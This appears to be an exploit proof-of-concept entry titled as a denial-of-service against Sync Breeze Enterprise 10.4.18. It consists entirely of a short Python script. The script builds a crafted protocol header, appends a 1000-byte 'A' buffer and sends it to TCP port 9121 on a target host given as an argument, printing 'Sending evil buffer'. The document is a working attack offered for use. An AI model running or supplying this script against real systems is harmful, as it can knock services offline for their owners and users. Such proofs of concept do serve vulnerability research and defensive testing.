Sync Breeze Enterprise 10.4.18 - Denial of-Service (PoC)

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  inputBuffer = b"\x41" * size

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer 

  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")